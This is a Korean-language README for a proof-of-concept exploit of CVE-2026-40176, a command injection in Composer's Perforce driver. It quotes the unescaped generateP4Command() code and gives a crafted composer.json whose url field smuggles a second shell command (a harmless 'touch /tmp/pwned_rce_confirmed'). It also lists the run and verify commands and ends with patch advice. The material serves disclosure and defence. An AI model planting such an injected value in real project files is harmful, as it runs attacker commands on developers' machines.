
CVE-2026-40176에 대한 개념 증명 익스플로잇으로, Composer의 Perforce VCS 드라이버에서 OS 명령 주입 취약점을 이용하여 조작된 composer.json을 통해 원격 코드 실행을 가능하게 합니다.
이 리포지토리는 Composer의 Perforce VCS 드라이버에 존재하는 중대한 OS 명령 주입 취약점 CVE-2026-40176의 Proof of Concept(PoC)입니다. 이 취약점은 Composer 2.2.27 및 2.9.6 이전 버전에 영향을 미칩니다.
취약점은 Perforce::generateP4Command() 메서드에 존재합니다. 셸 명령을 조립할 때 url, p4user, client 등의 리포지토리 설정 값에 대한 살균이 충분하지 않기 때문에, 공격자가 제어하는 composer.json을 사용하여 피해자가 composer install 또는 composer update를 실행하는 시점에 임의의 명령을 실행할 수 있습니다.
발견자: saku0512 (GitHub)
이 프로젝트는 교육 목적 및 허가된 윤리적인 보안 검증만을 목적으로 합니다.
본 도구의 오용, 손해, 불법 행위에 대해 저자는 일체의 책임을 지지 않습니다. 허가 없이 컴퓨터 시스템에 접근하는 행위는 불법입니다. 이 소프트웨어를 사용하는 경우, 명시적인 허가를 받은 환경에서만 보안 검증을 수행하는 데 동의한 것으로 간주됩니다.
src/Composer/Util/Perforce.php의 generateP4Command() 메서드에서는 리포지토리 설정에서 가져온 문자열을 직접 연결하여 셸 명령을 구성합니다.
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' '; // 에스케이프되지 않음
if ($useClient) {
$p4Command .= '-c ' . $this->getClient() . ' '; // 에스케이프되지 않음
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // 에스케이프되지 않음
이 값들에 ;, &, | 등의 셸 메타 문자를 포함하고 있는 경우 셸에 의해 해석되어 명령 주입으로 이어집니다.
PHP가 설치되어 있는지 확인하십시오. 이 PoC는 Composer 내부의 취약한 로직을 재현합니다.
# PHP 버전 확인
php -v
공격자는 다음과 같은 composer.json을 생성할 수 있습니다.
{
"repositories": [
{
"type": "perforce",
"url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
"depot": "depot"
}
],
"require": {
"some/package": "dev-master"
}
}
포함된 poc.php는 취약한 Composer 버전에서의 내부 명령 생성 및 실행 로직을 재현합니다.
# PoC 실행
php poc.php
페이로드에 의해 생성된 파일이 존재하는지 확인하고, 명령이 실행되었는지 검증합니다.
ls -l /tmp/pwned_rce_confirmed
파일이 존재하는 경우, RCE가 성립되었음을 확인할 수 있습니다.
Composer를 즉시 최신 버전으로 업데이트하십시오.
composer self-update
수정에서는 셸에 의한 해석을 방지하기 위해 사용자 입력에서 비롯된 모든 인수에 ProcessExecutor::escape()를 적용합니다.